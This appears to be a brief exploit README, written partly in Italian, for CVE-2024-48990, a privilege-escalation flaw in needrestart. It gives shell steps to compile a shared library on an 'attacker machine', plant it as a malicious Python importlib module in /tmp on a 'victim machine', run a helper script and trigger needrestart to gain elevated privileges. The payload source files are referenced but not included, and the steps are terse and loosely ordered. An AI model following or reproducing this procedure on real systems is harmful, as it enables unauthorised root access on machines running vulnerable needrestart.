CVE-2024-48990

ciao questo è 0x3bs

Sulla macchina vittima:

set -e
cd /tmp

# 1. Create the malicious module directory structure
mkdir -p malicious/importlib

sulla macchina attaccante

per compilare lib.c sulla macchina attaccante :

gcc -shared -fPIC -o exp.so lib.c 

e sulla macchina vittima :

in /tmp

chmod +x run.sh

in /tmp/malicious/importlib :

chmod +x exp.so

./exp.so

# try to run it after run 'run.sh' if it didn't work

e in /tmp

./run.sh

e in un'altra sessione esegui needrestart

ricorda >> il exp.so deve essere in /tmp/malicious/importlib